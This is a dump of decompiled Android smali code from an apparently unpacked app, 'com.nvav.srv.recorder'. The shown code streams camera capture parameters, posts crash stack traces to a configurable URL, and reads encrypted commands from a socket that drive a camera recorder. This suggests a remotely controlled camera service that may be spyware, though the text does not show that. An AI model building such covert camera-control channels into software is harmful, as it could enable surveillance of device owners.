invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 211
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v5
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 212
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v6
|
||||
|
||||
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 208
|
||||
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
|
||||
|
||||
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 213
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->length()I
|
||||
|
||||
move-result p3
|
||||
|
||||
add-int/lit8 p3, p3, 0x1
|
||||
|
||||
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
const/16 v0, 0x4d
|
||||
|
||||
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 214
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraRecord$3;->time_out_param:J
|
||||
|
||||
:cond_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
|
||||
.locals 0
|
||||
|
||||
.line 221
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string p2, "time %d"
|
||||
|
||||
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string p2, "CameraCaptureSession pr"
|
||||
|
||||
invoke-static {p2, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,121 @@
|
||||
.class public Lcom/nvav/srv/recorder/ChenalC;
|
||||
.super Ljava/lang/Object;
|
||||
.source "ChenalC.java"
|
||||
|
||||
|
||||
# static fields
|
||||
.field private static instance:Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
|
||||
# instance fields
|
||||
.field private sharedPreferences:Landroid/content/SharedPreferences;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>(Landroid/content/Context;)V
|
||||
.locals 2
|
||||
|
||||
.line 10
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
.line 12
|
||||
const-string v0, "V__s"
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/ChenalC;->sharedPreferences:Landroid/content/SharedPreferences;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public static declared-synchronized getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
|
||||
.locals 2
|
||||
|
||||
const-class v0, Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
monitor-enter v0
|
||||
|
||||
.line 16
|
||||
:try_start_0
|
||||
sget-object v1, Lcom/nvav/srv/recorder/ChenalC;->instance:Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
if-nez v1, :cond_0
|
||||
|
||||
.line 17
|
||||
new-instance v1, Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/ChenalC;-><init>(Landroid/content/Context;)V
|
||||
|
||||
sput-object v1, Lcom/nvav/srv/recorder/ChenalC;->instance:Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
.line 19
|
||||
:cond_0
|
||||
sget-object p0, Lcom/nvav/srv/recorder/ChenalC;->instance:Lcom/nvav/srv/recorder/ChenalC;
|
||||
:try_end_0
|
||||
.catchall {:try_start_0 .. :try_end_0} :catchall_0
|
||||
|
||||
monitor-exit v0
|
||||
|
||||
return-object p0
|
||||
|
||||
:catchall_0
|
||||
move-exception p0
|
||||
|
||||
monitor-exit v0
|
||||
|
||||
throw p0
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public get()Ljava/lang/Byte;
|
||||
.locals 3
|
||||
|
||||
.line 30
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/ChenalC;->sharedPreferences:Landroid/content/SharedPreferences;
|
||||
|
||||
const-string v1, "C__l"
|
||||
|
||||
const/4 v2, 0x0
|
||||
|
||||
invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
|
||||
|
||||
move-result v0
|
||||
|
||||
int-to-byte v0, v0
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
return-object v0
|
||||
.end method
|
||||
|
||||
.method public set(Ljava/lang/Byte;)V
|
||||
.locals 2
|
||||
|
||||
.line 24
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/ChenalC;->sharedPreferences:Landroid/content/SharedPreferences;
|
||||
|
||||
invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 25
|
||||
const-string v1, "C__l"
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
|
||||
|
||||
move-result p1
|
||||
|
||||
invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
|
||||
|
||||
.line 26
|
||||
invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
1900
apk_3234/apktool_output/smali/com/nvav/srv/recorder/Comand.smali
Normal file
1900
apk_3234/apktool_output/smali/com/nvav/srv/recorder/Comand.smali
Normal file
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,317 @@
|
||||
.class public Lcom/nvav/srv/recorder/CustomExceptionHandler;
|
||||
.super Ljava/lang/Object;
|
||||
.source "CustomExceptionHandler.java"
|
||||
|
||||
# interfaces
|
||||
.implements Ljava/lang/Thread$UncaughtExceptionHandler;
|
||||
|
||||
|
||||
# instance fields
|
||||
.field private defaultUEH:Ljava/lang/Thread$UncaughtExceptionHandler;
|
||||
|
||||
.field private localPath:Ljava/lang/String;
|
||||
|
||||
.field private url:Ljava/lang/String;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public constructor <init>(Ljava/lang/String;Ljava/lang/String;)V
|
||||
.locals 0
|
||||
|
||||
.line 29
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
.line 30
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->localPath:Ljava/lang/String;
|
||||
|
||||
.line 31
|
||||
iput-object p2, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->url:Ljava/lang/String;
|
||||
|
||||
.line 32
|
||||
invoke-static {}, Ljava/lang/Thread;->getDefaultUncaughtExceptionHandler()Ljava/lang/Thread$UncaughtExceptionHandler;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->defaultUEH:Ljava/lang/Thread$UncaughtExceptionHandler;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method private sendToServer(Ljava/lang/String;Ljava/lang/String;)V
|
||||
.locals 5
|
||||
|
||||
.line 70
|
||||
const-string v0, "="
|
||||
|
||||
const-string v1, "UTF-8"
|
||||
|
||||
:try_start_0
|
||||
new-instance v2, Ljava/net/URL;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->url:Ljava/lang/String;
|
||||
|
||||
invoke-direct {v2, v3}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
|
||||
|
||||
.line 71
|
||||
invoke-virtual {v2}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
check-cast v2, Ljava/net/HttpURLConnection;
|
||||
|
||||
const/4 v3, 0x1
|
||||
|
||||
.line 72
|
||||
invoke-virtual {v2, v3}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
|
||||
|
||||
.line 73
|
||||
const-string v3, "POST"
|
||||
|
||||
invoke-virtual {v2, v3}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
|
||||
|
||||
.line 74
|
||||
const-string v3, "Accept"
|
||||
|
||||
const-string v4, "*/*"
|
||||
|
||||
invoke-virtual {v2, v3, v4}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
|
||||
|
||||
.line 75
|
||||
new-instance v3, Ljava/lang/StringBuilder;
|
||||
|
||||
invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
|
||||
|
||||
.line 76
|
||||
const-string v4, "filename"
|
||||
|
||||
invoke-static {v4, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
.line 77
|
||||
invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
.line 78
|
||||
invoke-static {p2, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
.line 79
|
||||
const-string p2, "&"
|
||||
|
||||
invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
.line 80
|
||||
const-string p2, "stacktrace"
|
||||
|
||||
invoke-static {p2, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
.line 81
|
||||
invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
.line 82
|
||||
invoke-static {p1, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
.line 83
|
||||
invoke-virtual {v2}, Ljava/net/HttpURLConnection;->connect()V
|
||||
|
||||
.line 84
|
||||
invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 85
|
||||
new-instance p2, Ljava/io/BufferedWriter;
|
||||
|
||||
new-instance v0, Ljava/io/OutputStreamWriter;
|
||||
|
||||
invoke-direct {v0, p1, v1}, Ljava/io/OutputStreamWriter;-><init>(Ljava/io/OutputStream;Ljava/lang/String;)V
|
||||
|
||||
invoke-direct {p2, v0}, Ljava/io/BufferedWriter;-><init>(Ljava/io/Writer;)V
|
||||
|
||||
.line 86
|
||||
invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p2, p1}, Ljava/io/BufferedWriter;->write(Ljava/lang/String;)V
|
||||
|
||||
.line 87
|
||||
invoke-virtual {p2}, Ljava/io/BufferedWriter;->flush()V
|
||||
|
||||
.line 88
|
||||
invoke-virtual {p2}, Ljava/io/BufferedWriter;->close()V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 90
|
||||
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
:goto_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method private writeToFile(Ljava/lang/String;Ljava/lang/String;)V
|
||||
.locals 4
|
||||
|
||||
.line 58
|
||||
:try_start_0
|
||||
new-instance v0, Ljava/io/BufferedWriter;
|
||||
|
||||
new-instance v1, Ljava/io/FileWriter;
|
||||
|
||||
new-instance v2, Ljava/lang/StringBuilder;
|
||||
|
||||
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->localPath:Ljava/lang/String;
|
||||
|
||||
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
const-string v3, "/"
|
||||
|
||||
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-direct {v1, p2}, Ljava/io/FileWriter;-><init>(Ljava/lang/String;)V
|
||||
|
||||
invoke-direct {v0, v1}, Ljava/io/BufferedWriter;-><init>(Ljava/io/Writer;)V
|
||||
|
||||
.line 60
|
||||
invoke-virtual {v0, p1}, Ljava/io/BufferedWriter;->write(Ljava/lang/String;)V
|
||||
|
||||
.line 61
|
||||
invoke-virtual {v0}, Ljava/io/BufferedWriter;->flush()V
|
||||
|
||||
.line 62
|
||||
invoke-virtual {v0}, Ljava/io/BufferedWriter;->close()V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 64
|
||||
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
:goto_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public uncaughtException(Ljava/lang/Thread;Ljava/lang/Throwable;)V
|
||||
.locals 3
|
||||
|
||||
.line 36
|
||||
new-instance v0, Ljava/util/Date;
|
||||
|
||||
invoke-direct {v0}, Ljava/util/Date;-><init>()V
|
||||
|
||||
.line 37
|
||||
new-instance v1, Ljava/text/SimpleDateFormat;
|
||||
|
||||
const-string v2, "YYYYMMddHHmmss"
|
||||
|
||||
invoke-direct {v1, v2}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
|
||||
|
||||
.line 38
|
||||
invoke-virtual {v1, v0}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 39
|
||||
new-instance v1, Ljava/io/StringWriter;
|
||||
|
||||
invoke-direct {v1}, Ljava/io/StringWriter;-><init>()V
|
||||
|
||||
.line 40
|
||||
new-instance v2, Ljava/io/PrintWriter;
|
||||
|
||||
invoke-direct {v2, v1}, Ljava/io/PrintWriter;-><init>(Ljava/io/Writer;)V
|
||||
|
||||
.line 41
|
||||
invoke-virtual {p2, v2}, Ljava/lang/Throwable;->printStackTrace(Ljava/io/PrintWriter;)V
|
||||
|
||||
.line 42
|
||||
invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
.line 43
|
||||
invoke-virtual {v2}, Ljava/io/PrintWriter;->close()V
|
||||
|
||||
.line 44
|
||||
new-instance v2, Ljava/lang/StringBuilder;
|
||||
|
||||
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
|
||||
|
||||
invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
const-string v2, ".stacktrace"
|
||||
|
||||
invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 46
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->localPath:Ljava/lang/String;
|
||||
|
||||
if-eqz v2, :cond_0
|
||||
|
||||
.line 47
|
||||
invoke-direct {p0, v1, v0}, Lcom/nvav/srv/recorder/CustomExceptionHandler;->writeToFile(Ljava/lang/String;Ljava/lang/String;)V
|
||||
|
||||
.line 49
|
||||
:cond_0
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->url:Ljava/lang/String;
|
||||
|
||||
if-eqz v2, :cond_1
|
||||
|
||||
.line 50
|
||||
invoke-direct {p0, v1, v0}, Lcom/nvav/srv/recorder/CustomExceptionHandler;->sendToServer(Ljava/lang/String;Ljava/lang/String;)V
|
||||
|
||||
.line 53
|
||||
:cond_1
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->defaultUEH:Ljava/lang/Thread$UncaughtExceptionHandler;
|
||||
|
||||
invoke-interface {v0, p1, p2}, Ljava/lang/Thread$UncaughtExceptionHandler;->uncaughtException(Ljava/lang/Thread;Ljava/lang/Throwable;)V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,20 @@
|
||||
.class public interface abstract Lcom/nvav/srv/recorder/ICameraRecord;
|
||||
.super Ljava/lang/Object;
|
||||
.source "ICameraRecord.java"
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public abstract FPS()I
|
||||
.end method
|
||||
|
||||
.method public abstract MaxISO()I
|
||||
.end method
|
||||
|
||||
.method public abstract MinISO()I
|
||||
.end method
|
||||
|
||||
.method public abstract SetCommand(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
|
||||
.end method
|
||||
|
||||
.method public abstract Stop()V
|
||||
.end method
|
||||
@@ -0,0 +1,254 @@
|
||||
.class Lcom/nvav/srv/recorder/InOut$Read;
|
||||
.super Ljava/lang/Thread;
|
||||
.source "InOut.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/InOut;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = "Read"
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field size:I
|
||||
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/InOut;)V
|
||||
.locals 0
|
||||
|
||||
.line 55
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 56
|
||||
iput p1, p0, Lcom/nvav/srv/recorder/InOut$Read;->size:I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public run()V
|
||||
.locals 5
|
||||
|
||||
.line 58
|
||||
:cond_0
|
||||
:goto_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
iget-boolean v0, v0, Lcom/nvav/srv/recorder/Comand;->open:Z
|
||||
|
||||
if-eqz v0, :cond_4
|
||||
|
||||
const-wide/16 v0, 0x32
|
||||
|
||||
.line 60
|
||||
:try_start_0
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/InOut$Read;->sleep(J)V
|
||||
|
||||
.line 61
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
if-eqz v0, :cond_0
|
||||
|
||||
.line 62
|
||||
:cond_1
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Ljava/io/InputStream;->available()I
|
||||
|
||||
move-result v0
|
||||
|
||||
if-lez v0, :cond_2
|
||||
|
||||
.line 63
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Ljava/io/InputStream;->read()I
|
||||
|
||||
move-result v0
|
||||
|
||||
.line 64
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v2
|
||||
|
||||
iput-wide v2, v1, Lcom/nvav/srv/recorder/InOut;->time_read:J
|
||||
|
||||
const/4 v1, 0x4
|
||||
|
||||
if-ge v0, v1, :cond_1
|
||||
|
||||
.line 66
|
||||
new-array v0, v0, [B
|
||||
|
||||
.line 67
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v1}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v1, v0}, Ljava/io/InputStream;->read([B)I
|
||||
|
||||
.line 68
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/InOut;->getInt([B)I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->size:I
|
||||
|
||||
.line 72
|
||||
:cond_2
|
||||
iget v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->size:I
|
||||
|
||||
if-lez v0, :cond_0
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Ljava/io/InputStream;->available()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iget v1, p0, Lcom/nvav/srv/recorder/InOut$Read;->size:I
|
||||
|
||||
if-lt v0, v1, :cond_0
|
||||
|
||||
.line 73
|
||||
new-array v0, v1, [B
|
||||
|
||||
.line 74
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v2}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {v2, v0}, Ljava/io/InputStream;->read([B)I
|
||||
|
||||
.line 75
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v3
|
||||
|
||||
iput-wide v3, v2, Lcom/nvav/srv/recorder/InOut;->time_read:J
|
||||
|
||||
add-int/lit8 v1, v1, -0x1
|
||||
|
||||
.line 76
|
||||
aget-byte v2, v0, v1
|
||||
|
||||
if-nez v2, :cond_3
|
||||
|
||||
.line 77
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const/4 v1, 0x2
|
||||
|
||||
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/Comand;->status(I)V
|
||||
|
||||
goto/16 :goto_0
|
||||
|
||||
.line 79
|
||||
:cond_3
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const/4 v3, 0x0
|
||||
|
||||
invoke-static {v0, v3, v1}, Ljava/util/Arrays;->copyOfRange([BII)[B
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/InOut;->decrypt([B)[B
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v2, v0}, Lcom/nvav/srv/recorder/Comand;->WriteIn([B)I
|
||||
|
